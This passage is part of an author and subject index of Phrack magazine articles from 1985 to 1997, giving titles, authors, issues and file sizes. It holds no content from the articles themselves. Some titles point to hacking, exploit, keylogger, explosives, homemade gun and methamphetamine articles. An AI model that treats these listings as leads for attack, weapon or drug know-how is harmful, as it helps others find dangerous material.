"Gettin' Down 'N Dirty Wit Da GS/1" 1994. I46 25k
|
|||
|
Dr. Dimitri Vulis authored
|
|||
|
"Content-Blind Cancelbot" I49 F9 40k
|
|||
|
Dr. Doom authored
|
|||
|
"The Integrated Services Digital Network" 1986. I8 F4 18k
|
|||
|
Dr. Dude(Dispater) co-authored
|
|||
|
"Introduction to Diet Phrack" 1991. I36. F1 8k
|
|||
|
"Searching for speciAL acceSs agentS" 1991. I36 F7 18k
|
|||
|
"Elite World News" I36 F10,11 23/26k
|
|||
|
Dr. No-Good authored
|
|||
|
"Basic Commands for The VOS System" 1992. I37 F8 10k
|
|||
|
|
|||
|
DRUGS
|
|||
|
"The Tried and True Home Production Method for Methamphetamine" by The
|
|||
|
Leftist. 1986. I4 F8 7k
|
|||
|
|
|||
|
"DTMF signalling and decoding" by Mr. Blue. 1997. I50 F13 17k
|
|||
|
"Dun & Bradstreet Report on AT&T" submitted by Elric of Imrryr. 1988. I17 F2
|
|||
|
24k
|
|||
|
"Dun & Bradstreet Report on Pacific Telesis" submitted by Elric of Imrryr.
|
|||
|
1988. I17 F3 26k
|
|||
|
|
|||
|
|
|||
|
** E **
|
|||
|
|
|||
|
|
|||
|
The Eavesdropper authored
|
|||
|
"Control Office Administration of Enhanced 911 Service" 1989.
|
|||
|
I24 F5 22k
|
|||
|
"Glossary Terminology for Enhanced 911 Service" 1989. I24 F6 12k
|
|||
|
"Eavesdropping" by Circle Lord. 1986. I3 F7 3k
|
|||
|
EBA authored
|
|||
|
"Cosmos Overview" 1990. I31 F6 52k
|
|||
|
The Editor(s) authored
|
|||
|
Introduction/Index I42 F1 14k
|
|||
|
Introduction/Index I43 F1 24k
|
|||
|
Introduction/Index I44 F1 16k
|
|||
|
Introduction/Index I45 F1 17k
|
|||
|
Introduction/Index I46 F1 17k
|
|||
|
Introduction/Index I47 F1 16k
|
|||
|
Introduction/Index I48 F1 13k
|
|||
|
Introduction/Index I49 F1 7k
|
|||
|
Introduction/Index I50 F1 9k
|
|||
|
"Sara Gordon -vs- Kohntark Part I" 1993. I44 F11 12k
|
|||
|
"Sara Gordon -vs- Kohntark Part II" 1993. I44 F12 47k
|
|||
|
|
|||
|
Electronic Frontier Foundation authored
|
|||
|
"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
|
|||
|
"Electronic Telephone Cards(Part 1)" by Stephane Bausson. 1996. I48 F10 39k
|
|||
|
"Electronic Telephone Cards(Part 2)" by Stephane Bausson. 1996. I48 F11 66k
|
|||
|
"*ELITE*" Access by Dead Lord and Lord Digital(Lords Anonymous!). 1991.
|
|||
|
I36 F5 43k
|
|||
|
"Elite World News" br Docter Dude I36 F10,11 23/26k
|
|||
|
Elric of Imrryr authored
|
|||
|
"A Beginner's Guide to The IBM VM/370" 1987. I10 F4 4k
|
|||
|
"Data Tapping Made Easy" 1988. I17 F9 4k
|
|||
|
"Dial-Back Modem Security" 1988. I17 F8 11k
|
|||
|
"Gelled Flame Fuels" 1987. I15 F5 12k
|
|||
|
Introduction/Index of I16 F1 2k
|
|||
|
submitted
|
|||
|
"Dun & Bradstreet Report on AT&T" 1988. I17 F2 24k
|
|||
|
"Dun & Bradstreet Report on Pacific Telesis" 1988. I17 F3 26k
|
|||
|
Emmanuel Goldstein authored
|
|||
|
"No Time for Goodbyes" 1994. I45 F9 21k
|
|||
|
Emmanuel Goldstein was Pro-Philed in 1989. I29 F2 16k
|
|||
|
Epsilon authored
|
|||
|
"An Introduction to Packet Switched Networks" 1988. I18 F3 12k
|
|||
|
"Phrack World News" 1988. I18 F10-11 I19 F8
|
|||
|
Epsilon co-authored
|
|||
|
"Phrack World News" 1988. I21 F10 22k-11
|
|||
|
Equal Axis authored
|
|||
|
"OTher Common Carriers; A List" 1989. I28 F7 8k
|
|||
|
Erik Bloodaxe authored
|
|||
|
"The Wonderful World of Pagers" 1994. I46 F8
|
|||
|
"HOPE" 1994. I46 F22 51k
|
|||
|
Erik Bloodaxe was Pro-Philed in 1989. I28 F2 15k
|
|||
|
Erudite authored
|
|||
|
"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
|
|||
|
Evil Jay authored
|
|||
|
"Hacking : OSL Systems" 1987. I12 F7 9k
|
|||
|
"Hacking Primos I, II, III" 1987. I11 F7 7k
|
|||
|
"Hacking Primos Part I" 1987. I10 F6 11k
|
|||
|
"R.A.G. - Rodents are Gay" 1987. I13 F6 6k
|
|||
|
The Executioner
|
|||
|
"Preview to Phrack 13-The Life & Times of The Executioner" 1987.
|
|||
|
I12 F3 5k
|
|||
|
The Executioner authored
|
|||
|
"Circuit Switched Digital Capability" 1987. I10 F5 12k
|
|||
|
"City-Wide Centrex" 1986. I8 F3 14k
|
|||
|
"CSDC II - Hardware Requirements" 1987. I12 F6 8k
|
|||
|
"PACT: Prefix Access Code Translator" 1987. I11 F3 8k
|
|||
|
"Plant Measurements" 1986. I9 F6 13k
|
|||
|
"Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k
|
|||
|
|
|||
|
EXPLOSIVES
|
|||
|
"Bolt Bombs" by The Leftist. 1986. I5 F6 3k
|
|||
|
"Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
|
|||
|
"How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
|
|||
|
"How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
|
|||
|
"Making Shell Bombs" by Man-Tooth. 1986. I3 F3 3k
|
|||
|
"Nitrogen-Trioxide Explosive" by Signal Substain. 1988. I17 F4 7k
|
|||
|
"Smoke Bombs" by Alpine Kracker. 1986. I6 F6 2k
|
|||
|
|
|||
|
"extract.c" by Phrack Staff. 1997. I50 F16 2k
|
|||
|
|
|||
|
|
|||
|
** F **
|
|||
|
|
|||
|
|
|||
|
"Facility Assignment & Control Systems" by Phantom Phreaker. 1988. I19 F5 11k
|
|||
|
"False Identification" by Forest Ranger. 1986. I4 F3 3k
|
|||
|
Federal Bureau of Investigations(FBI) authored
|
|||
|
"The Digital Telephony Proposal" 1992. I38 F11 34k
|
|||
|
"FEDIX On-Line Information Service" by Fedix Upix. 1991 I33 F4 12k
|
|||
|
Fedix Upix authored "Fedix On-line Information Service" 1991 I33 F4 12k
|
|||
|
"A Few Things About Networks" by Prime Suspect. I18 F9 21k
|
|||
|
"The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
|
|||
|
Firm G.R.A.S.P. authored
|
|||
|
"Acronyms Part I" 1993. I43 F21 50k
|
|||
|
"Acronyms Part II" 1993. I43 F22 51k
|
|||
|
"Acronyms Part III" 1993. I43 F23 45k
|
|||
|
"Acronyms Part IV" 1993. I43 F24 52k
|
|||
|
"Acronyms Part V" 1993. I43 F25 46k
|
|||
|
"Guide to 5ESS" 1993. I43 F16 63k
|
|||
|
The Fixer wrote
|
|||
|
"Box.exe for SoundBlasters"<unencoded> 1994. I45 F22 13k
|
|||
|
"The Fone Phreak's Revenge" by Iron Soldier. 1985. I1 F4 4k
|
|||
|
Forest Ranger authored
|
|||
|
"False Identification" 1986. I4 F3 3k
|
|||
|
"Prevention of The Billing Office Blues" 1985. I2 F2 1k
|
|||
|
"Fortell Systems" by Phantom Phreaker. 1986. I3 F6 3k
|
|||
|
"Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning.
|
|||
|
1989. I23 F5 27k
|
|||
|
Framstag authored
|
|||
|
"The Making of a Hacker" 1989. I27 F7 9k
|
|||
|
"Fraudulent Applications of 900 Services" by Co/Dec. 1994. I45 F18 15k
|
|||
|
Fred P. Graham co-authored
|
|||
|
"Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
|
|||
|
"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
|
|||
|
"Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
|
|||
|
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
|
|||
|
"Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
|
|||
|
"Fun With Lighters" by The Leftist. 1986. I6 F4 2k
|
|||
|
"Future Trancendent Saga Index A" from The BITNET Services Library. 1989.
|
|||
|
I23 F6 14k
|
|||
|
"Future Trancendent Saga Index B" from The BITNET Services Library. 1989.
|
|||
|
I23 F7 17k
|
|||
|
FyberLyte authored
|
|||
|
"NorThern Telecom's FMT-150B/C/D" 1993. I44 F13 16k
|
|||
|
|
|||
|
|
|||
|
** G **
|
|||
|
|
|||
|
|
|||
|
"Gail Takes a Break" <unencoded .gif> 1993. I44 F25 49k
|
|||
|
Gatsby authored
|
|||
|
"A Hackers Guide to The Internet" 1991. I33 F3 45k
|
|||
|
G.Tenet authored
|
|||
|
"Useful Commands for The TP3010 Debug Port" 1992. I42 f7 28k
|
|||
|
"Gelled Flame Fuels" by Elric of Imrryr. 1987. I15 F5 12k
|
|||
|
"Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
|
|||
|
"Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
|
|||
|
"Getting Serious About VMS Hacking" by VAXBusters International. 1989.
|
|||
|
I23 F8 13k
|
|||
|
G. Gilliss authored
|
|||
|
"Introduction to CGI and CGI vulnerabilities" 1996. I49 F8 12k
|
|||
|
Gin Fizz co-authored
|
|||
|
"How to Pick Master Locks" 1985. I1 F6 2k
|
|||
|
"The Glenayre GL3000 Paging and Voice retrieval System" by Armitage. 1995.
|
|||
|
I47 F14 25k
|
|||
|
"Glossary Terminology for Enhanced 911 Service" by The Eavesdropper. 1989.
|
|||
|
I24 F6
|
|||
|
Goe authored
|
|||
|
"Hacking VM/CMS" 1989. I30 F4 58k
|
|||
|
Grey Sorcerer authored
|
|||
|
"How to Hack Cyber Systems" 1988. I17 F5 23k
|
|||
|
"How to Hack HP2000's" 1988. I17 F6 3k
|
|||
|
Grimace authored
|
|||
|
"Phrack Pro-Phile on Computer Cop" 1993. I43 F5 22k
|
|||
|
"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
|
|||
|
"Guide to 5ESS" by Firm G.R.A.S.P.. 1993. I43 F17 63k
|
|||
|
"A Guide to British Telecom's Caller ID Service" by Dr. BOB 1995. I47 F19 31k
|
|||
|
"Guide to Data General's AOS/VS Part I" by Herd Beast. 1993. I44 F14 46k
|
|||
|
"Guide to Data General's AOS/VS Part II" by Herd Beast. 1993. I44 F15 30k
|
|||
|
"Guide to Encryption" by The Racketeer[HFC]. 1992. I42 F11 32k
|
|||
|
"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k
|
|||
|
|
|||
|
|
|||
|
** H **
|
|||
|
|
|||
|
|
|||
|
"The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
|
|||
|
"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
|
|||
|
"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
|
|||
|
"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
|
|||
|
"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
|
|||
|
"Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k
|
|||
|
|
|||
|
HACKING
|
|||
|
(See also BANK FRAUD, COSMOS, CRACKING, CREDIT BUREAUS, CULTURE, DEC, HP,
|
|||
|
Phrack Pro-Phile, Phrack World News, PHREAKING, PRIMOS, RSTS, UNIX, VAX/VMS,
|
|||
|
VM/CMS, VOICE MAIL, WIDE AREA NETS (Internet,BITNET,ArpaNet,Usenet,UUCP,etc),
|
|||
|
X.25 NETS (Telenet, Tymnet,etc.)
|
|||
|
"25th Anniversary Index [of Phrack]" by Taran King, Knight Lightning and
|
|||
|
friends. 1989. I25 F2 15k
|
|||
|
"Accessing Government Computers" by The Sorceress. 1988. I17 F7 9k
|
|||
|
"An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
|
|||
|
"The Art of Investigation" by Butler. 1990. I32 F4 18k
|
|||
|
"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
|
|||
|
"Basic Concepts of Translation" by The Dead Lord and Chief Executive
|
|||
|
Officers. 1989. I26 F6 20k
|
|||
|
"BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
|
|||
|
"Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
|
|||
|
"CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
|
|||
|
"CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k
|
|||
|
"Datapac" by Synapse. 1993. I44 F21 36k
|
|||
|
"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
|
|||
|
"DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
|
|||
|
"Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 11k
|
|||
|
"The fingerd Trojan Horse" by Hitman Italy. 1994. I46 F12 32k
|
|||
|
"Getting Caught: Legal Procedures" by The Disk Jockey. 1989. I26 F3 12k
|
|||
|
"Gettin' Down 'N Dirty Wit Da GS/1" By Maldoror & Dr. Delam. 1994. I46 25k
|
|||
|
"Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
|
|||
|
"Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
|
|||
|
"The #hack FAQ (Part 1)" by Voyager. 1995. I47 F5 39k
|
|||
|
"The #hack FAQ (Part 2)" by Voyager. 1995. I47 F6 38k
|
|||
|
"The #hack FAQ (Part 3)" by Voyager. 1995. I47 F7 51k
|
|||
|
"The #hack FAQ (Part 4)" by Voyager. 1995. I47 F8 47k
|
|||
|
"Hacking GTN" by The Kurgan. 1987. I16 F4 7k
|
|||
|
"Hackers Guide to The Internet" by The Gatsby 1991. I33 F2 45k
|
|||
|
"Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
|
|||
|
"Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
|
|||
|
"How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
|
|||
|
"How to Build a DMS-10 Switch by The Cavalier. 1992 I41 23k
|
|||
|
"Inside Dialog" by Control C. 1986. I9 F5 8k
|
|||
|
"Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
|
|||
|
"Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
|
|||
|
"Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
|
|||
|
"Legal Info" by Szechuan Death. 1994. I46 F9 13k
|
|||
|
"A Little About Dialcom" by Herd Beast. 1994. I46 F14 29k
|
|||
|
"Netmon" by daemon9. 1996. I48 F15 21k
|
|||
|
"Non-Published Numbers" by Patrick Townsend. 1988. I21 F7 8k
|
|||
|
"A Novice's Guide to Hacking (1989. Edition)" by The Mentor. 1988. I22 F4 42k
|
|||
|
"PC Application Level Security" by Sideshow Bob. 1997. I50 F12 21k
|
|||
|
"The Phrack University Dialup List" by Phrack Staff. 1994. I46 F13 12k
|
|||
|
"Plant Measurement" by The Executioner. 1986. I9 F6 13k
|
|||
|
"Private Audience" by Overlord. 1986. I3 F5 13k
|
|||
|
"Radio Hacking" by The Seker. 1986. I5 F8 3k
|
|||
|
"Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
|
|||
|
"Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
|
|||
|
"Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
|
|||
|
"School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
|
|||
|
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
|
|||
|
"Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992.
|
|||
|
I41 F9 16k
|
|||
|
"Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
|
|||
|
I11 F5 4k
|
|||
|
"Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
|
|||
|
"The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k
|
|||
|
"TTY Spoofing" by VaxBuster 1992. I41 F8 20k
|
|||
|
"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989. I30
|
|||
|
F10
|
|||
|
|
|||
|
"Hacking AT&T System 75" by Scott Simpson. 1992. I41 F6 20k
|
|||
|
"Hackers Guide to The Internet" by The Gatsby 1991 I33 F3 45k
|
|||
|
"Hacking CDC's Cyber" by Phrozen Ghost. 1988. I18 F5 12k
|
|||
|
"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
|
|||
|
"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
|
|||
|
"Hacking GTN" by The Kurgan. 1987. I16 F4 7k
|
|||
|
"Hacking : OSL Systems" by Evil Jay. 1987. I12 F7 9k
|
|||
|
"Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
|
|||
|
"Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
|
|||
|
"Hacking Rolm's CBXII" by Doc Holiday. 1990. I31 F3 15k
|
|||
|
"Hacking RSTS" by Data Line. 1985. I2 F8 4k
|
|||
|
"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
|
|||
|
"Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
|
|||
|
"Hacking VM/CMS" by Goe. 1989. I30 F4 58k
|
|||
|
"Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
|
|||
|
"Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k
|
|||
|
"Hacking: What's Legal and What's Not" by Hatchet Molly. 1989. I25 F8 12k
|
|||
|
"Hacking WWIV:The Complete Guide" by Inhuman. 1991 I34 F5 20k
|
|||
|
Halflife authored
|
|||
|
"Linux TTY hijacking" 1997. I50 F5 15k
|
|||
|
"Hand to Hand Combat" by Bad Boy in Black. 1986. I5 F4 13k
|
|||
|
"Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
|
|||
|
Hatchet Molly authored
|
|||
|
"Hacking: What's Legal and What's Not" 1989. I25 F8 12k
|
|||
|
"Help for Verifying Novell Security" by Phrack Staff. 1993. I43 F11 48k
|
|||
|
Herd Beast authored
|
|||
|
"Guide to Data General's AOS/VS Part I" 1993. I44 F14 46k
|
|||
|
"Guide to Data General's AOS/VS Part II" 1993. I44 F15 30k
|
|||
|
"A Little About Dialcom" 1994. I46 F14 29k
|
|||
|
"Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
|
|||
|
High Evolutionary authored
|
|||
|
"Cellular Telephones" 1986. I6 F7 5k
|
|||
|
"The History of The Legion of Doom" 1990. I31 F5 10k
|
|||
|
"The History ah MOD" by Wing Ding. 1991 I36 F4 23k
|
|||
|
Hitman Italy authored
|
|||
|
"The fingerd Trojan Horse" 1994. I46 F12 32k
|
|||
|
*Hobbit* authored
|
|||
|
"Decnet Hackola : Remote Turist TTY (RTT)". 1989. I30 F6 6k
|
|||
|
"HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
|
|||
|
"HoHoCon" by Count Zero. 1995. I48. F11 33k
|
|||
|
"HoHoCon"(review)by Various Sources. 1992. I42 F13 51k
|
|||
|
"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
|
|||
|
"HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
|
|||
|
"Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
|
|||
|
"Homemade Guns" by Man-Tooth. 1985. I2 F3 7k
|
|||
|
Homey The Hacker authored
|
|||
|
"Phreaks in Verse" 1991. I36 F8 14k
|
|||
|
"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
|
|||
|
"How to Build a DMS-10 Switch" by The Cavalier. 1992 I41 F7 23k
|
|||
|
"How to Build a Paisley Box" by Thomas Covenant and Double Helix. 1987.
|
|||
|
I13 F4 5k
|
|||
|
"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
|
|||
|
"How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k
|
|||
|
"How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
|
|||
|
"How to Hack Cyber Systems" by Grey Sorcerer. 1988. I17 F5 23k
|
|||
|
"How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k
|
|||
|
"How to Pick Master Locks" by Gin Fizz and Ninja NYC. 1985. I1 F6 2k
|
|||
|
"How to Make an Acetylene Bomb" by The Clashmaster. 1985. I1 F7 4k
|
|||
|
"How to Make TNT" by The Radical Rocker. 1986. I7 F6 2k
|
|||
|
"How We Got Rich Through Electronic Funds Transfer" by Legion of Doom!. 1989.
|
|||
|
I29 F7
|
|||
|
|
|||
|
HP SERIES (HP2000, HP3000, HP9000 etc.)
|
|||
|
"How to Hack HP2000's" by Grey Sorcerer. 1988. I17 F6 3k
|
|||
|
|
|||
|
|
|||
|
** I **
|
|||
|
|
|||
|
Iceman authored
|
|||
|
"NorThern Telecom's SL-1" 1993. I44 18 30k
|
|||
|
Ice Jay authored
|
|||
|
"VisaNet Operations Part I" 1994. I46 F15 50k
|
|||
|
"VisaNet Operations Part 2" 1994. I46 F16 44k
|
|||
|
Icon authored
|
|||
|
"South Western Bell Lineman Word Codes" 1997. I49 F11 18k
|
|||
|
Infinite Loop authored
|
|||
|
"LATA Referance List" 1991 I33 F5 11k
|
|||
|
"Information About NT's FMT-150/B/C/D" by Static. 1996. I48 F9 22k
|
|||
|
"An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
|
|||
|
"Inside Dialog" by Control C. 1986. I9 F5 8k
|
|||
|
"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
|
|||
|
"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F5 18k
|
|||
|
"International Scene" by Various Sources 1993. I43 F26 51k
|
|||
|
"International Scene" by Various Sources 1993. I43 F26 25k
|
|||
|
"International Scene" by Various Sources 1994. I45 F27 63k
|
|||
|
"International Scene" by Various Sources 1994. I46 F27 44k
|
|||
|
"International Scene" by Various Sources 1995. I47 F21 39k
|
|||
|
"International Scene" by Various Sources 1996. I48 F17 33k
|
|||
|
|
|||
|
INTERNET see WIDE AREA NETWORKS
|
|||
|
|
|||
|
"Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc.
|
|||
|
1989. I26 F8 20k
|
|||
|
"Interview With Agent Steal" by Agent 005. 1993. I44 F16 14k
|
|||
|
"Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996. I49 F8 12k
|
|||
|
"An Introduction to The DecServer 200" by Opticon. 1993. I44 F22 16k
|
|||
|
"Introduction to the FedLine software system" by Parmaster. 1996. I49 F12 19k
|
|||
|
"Introduction to The Internet Protocols: Chapter Eight of The FTS" by Knight
|
|||
|
Lightning. 1989. I28 F3 39k
|
|||
|
"Introduction to The Internet Protocols II: Chapter Nine of The FTS" by Knight
|
|||
|
Lightning. 1989. I29 F3 43k
|
|||
|
"Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning.
|
|||
|
1989. I27 F3 35k
|
|||
|
"Introduction to MILNET" by Brigadier General Swipe. 1991 I34 F7 8k
|
|||
|
"Introduction to Octel's ASPEN" by Optik Nerve. 1994. I45 F23 12k
|
|||
|
"An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
|
|||
|
"Introduction of Phrack" by Taran King. 1985. I1 F1 2k
|
|||
|
"Introdcution to Telephony and PBX Systems" by Cavalier. 1996. I49 F5 100k
|
|||
|
"Intro to Packet Radio" by Larry Kollar. 1993. I44 F9 16k
|
|||
|
"Introduction to PBX's" by Knight Lightning. 1986. I3 F9 7k
|
|||
|
"Introduction to Videoconferencing" by Knight Lightning. 1986. I9 F8 11k
|
|||
|
Iron Soldier authored
|
|||
|
"The Fone Phreak's Revenge" 1985. I1 F4 4k
|
|||
|
Inhuman Authored
|
|||
|
"The Complete Guide to Hacking WWIV" 1991. I34 F5 20k
|
|||
|
"In Living Computer Starring Knight lightning" 1991. I36 F3 10k
|
|||
|
"IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
|
|||
|
ISDN (INTEGRATED SERVICES DIGITAL NETWORK)
|
|||
|
"The Integrated Services Digital Network" by Dr. Doom. 1986. I8 F4 18k
|
|||
|
"Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K
|
|||
|
|
|||
|
|
|||
|
** J **
|
|||
|
|
|||
|
Jack T. Tabb authored
|
|||
|
"VAX/VMS Fake Mail". 1989. I30 F7 7k
|
|||
|
Jester Sluggo authored
|
|||
|
"Automatic Teller Machine Cards" 1990. I32 F6 16k
|
|||
|
"Centrex Renaissance" 1986. I4 F7 17k
|
|||
|
"The Tele-Pages" 1988. I21 F4 37k
|
|||
|
"Unix System Security Issues" 1988. I18 F7 27k
|
|||
|
"Wide Area Networks Part 1" 1986. I5 F7 10k
|
|||
|
"Wide Area Networks Part 2" 1986. I6 F8 10k
|
|||
|
J.R. "Bob" Dobbs authored
|
|||
|
"A REAL Functioning RED BOX Schematic" 1991. I33 F9 12k
|
|||
|
Jim Schmickley authored
|
|||
|
"Blocking of Long Distance Calls" 1988. I21 F8 26k
|
|||
|
"Blocking of Long Distance Calls... Revisited" 1989. I29 F9 22k
|
|||
|
"The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight Lightning.
|
|||
|
1988. I22 F3 26k
|
|||
|
"Juggernaut"(linux tool) by route. 1997. I50 F6 123k
|
|||
|
|
|||
|
|
|||
|
** K **
|
|||
|
|
|||
|
|
|||
|
"Key Trap v1.0 Keyboard Key Logger" by Dcypher. 1994. I46 F26 35k
|
|||
|
"Keytrap Revisisted" by Sendai. 1996. I48 F12 13k
|
|||
|
Killer Smurf authored
|
|||
|
"Making Free Local Payfone Calls" 1987. I15 F3 7k
|
|||
|
King Arthur authored
|
|||
|
"COSMOS: COmputer System for Mainframe OperationS (Part One)" 1989.
|
|||
|
I26 F5
|
|||
|
"COSMOS: COmputer System for Mainframe OperationS (Part Two)" 1989.
|
|||
|
I27 F5
|
|||
|
Knight Lightning authored
|
|||
|
"DMS-100" 1986. I5 F5 8k
|
|||
|
"Foundations on The Horizon; Chapter Two of FTSaga" 1989. I23 F5 27k
|
|||
|
"Frontiers; Chapter Four of FTSaga" 1989. I24 F4 25k
|
|||
|
Introduction/Index for I14 F1
|
|||
|
Introduction/Index (co-authored) for I20-30,33 F1
|
|||
|
"Introduction to The Internet Protocols II: Chapter Eight of The FTS"
|
|||
|
1989. I28 F3 39k
|
|||
|
"Introduction to The Internet Protocols II: Chapter Nine of The FTS"
|
|||
|
1989. I29 F3 43k
|
|||
|
"Introduction to MIDNET: Chapter Seven of The FTS" by Knight Lightning.
|
|||
|
1989. I27 F3 35k
|
|||
|
"Introduction to PBX's" 1986. I3 F9 7k
|
|||
|
"Introduction to Videoconferencing" 1986. I9 F8 11k
|
|||
|
"The Judas Contract (Part 2 of The Vicious Circle Trilogy)" 1988.
|
|||
|
I22 F3 26k
|
|||
|
"Limbo to Infinity; Chapter Three of FTSaga" 1989. I24 F3 18k
|
|||
|
"MCI International Cards" 1985. I1 F5 3k
|
|||
|
"MCI Overview" 1985. I2 F7 15k
|
|||
|
"NSFnet: National Science Foundation Network" 1989. I26 F4 10k
|
|||
|
"Phrack Pro-Phile on Groups" 1986. I6 F2 14k
|
|||
|
"Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
|
|||
|
"Phrack World News" 1985-90. I2 F9 I3 F10 I4 F9-11 I5 F10-12 I6 F9-13
|
|||
|
I7 F8-10 I8 F8-9 I9 F10 I10 F8-9 I11 F11-12 I12 F10-11 I13 F10
|
|||
|
I14 F8-9 I15 F6-7 (19,21k) I19 F7 I20 F12 I23 F11-12 I24 F11-13
|
|||
|
I25 F9 19k-11 I26 F9-11 I27 F10-12 I28 F9-12 I29 F10-12 I30 F11-12
|
|||
|
"Phrack World News" (co-authored) I21 F10-11 I22 F9-12
|
|||
|
"Phrack World News Special Edition II" 1988. I21 F9 78k
|
|||
|
"Phrack World News Special Edition III (SummerCon '89)" 1989. I28 F8 31k
|
|||
|
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" 1988.
|
|||
|
I21 F3
|
|||
|
"SPAN: Space Physics Analysis Network" 1989. I25 F4 47k
|
|||
|
"Standing up to Fight The Bells" 1992. I38 F10 27k
|
|||
|
"Subdivisions (Part 3 of The Vicious Circle Trilogy)" 1989. I23 F3 17k
|
|||
|
"A Trip to The NCSC" 1990. I32 F7 16k
|
|||
|
"Utopia; Chapter One of FTSaga" 1989. I23 F4 20k
|
|||
|
co-authored
|
|||
|
"25th Anniversary Index" 1989. I25 F2 15k
|
|||
|
"Network Management Center" 1988. I21 F6 13k
|
|||
|
"Real Phreaker's Guide Vol. 2" 1987. I13 F2 5k
|
|||
|
"Welcome to Metal Shop Private" 1988. I20 F4 37k
|
|||
|
"Knight Line I/Parts 1-3" by Doc Holiday. 1990. I32 F10 47k-12
|
|||
|
The Kurgan authored
|
|||
|
"Hacking GTN" 1987. I16 F4 7k
|
|||
|
|
|||
|
|
|||
|
** L **
|
|||
|
|
|||
|
|
|||
|
"LATA Reference List" by Infinite Loop 1991 I33 F5 11k
|
|||
|
Larry Kollar authored
|
|||
|
"Intro to Packet Radio" 1993. I44 F9 16k
|
|||
|
Laughing Gas co-authored
|
|||
|
"Advanced Modem-Oriented BBS Security" 1991 I34 F9 11k
|
|||
|
The Leftist authored
|
|||
|
"Bolt Bombs" 1986. I5 F6 3k
|
|||
|
"Fun With Lighters" 1986. I6 F4 2k
|
|||
|
"Simple Data Encryption or Digital Electronics 101" 1987. I11 F5 4k
|
|||
|
